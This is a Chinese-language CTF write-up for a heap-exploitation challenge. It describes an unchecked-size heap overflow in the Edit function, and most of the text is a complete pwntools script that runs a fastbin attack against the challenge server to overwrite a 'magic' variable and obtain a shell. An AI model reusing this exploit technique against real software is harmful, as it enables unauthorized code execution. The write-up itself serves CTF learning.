checksec:
居然没开PIE
Create:
最多申请10个堆块,size 做了检查。
Edit:
这里的size并没有与申请时的size做检查,造成溢出。
Delete:
free做了检查
l33t:
存在后面函数,且 magic 小于 0x1305 时,自动调用。所以这题可以尝试向 magic 位置写入大于 0x1305 的值。
思路:
先尝试一下利用溢出漏洞,fastbin attack,向 magic 写一个比较大的数。
exp:
#coding:utf-8
from pwn import *
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
test = 0
if test == 1 :
p = process('./pwn')
else:
p = remote('node4.buuoj.cn',26508)
elf = ELF('./pwn')
libc = ELF('../libc-2.23/libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level ='debug'
menu = 'Your choice :'
def add(size,payload):
sla(menu,str(1))
sla('Size of Heap : ',str(size))
sla('Content of heap:',payload)
def free(idx):
sla(menu,str(3))
sla('Index :',str(idx))
def edit(idx,payload):
sla(menu,str(2))
sla('Index :',str(idx))
sla('Size of Heap : ',str(len(payload)))
sa('Content of heap : ',payload)
def shell():
sla(menu,str(4869))
p.interactive()
magic=0x6020A0
add(0x10,b'\x61'*4)
add(0x60,b'\x61'*4)
add(0x60,b'\x61'*4)
add(0x10,b'\x61'*4)
free(2)
free(1)
edit(0,b'\x61'*0x10+p64(0)+p64(0x70)+p64(magic-0x13))
add(0x60,'')
add(0x60,p8(0)+b'\xff'*4)
shell()
这题算是 fastbin attack 的基础题,挺适合堆入门的适合做的。
好厉害,好崇拜!!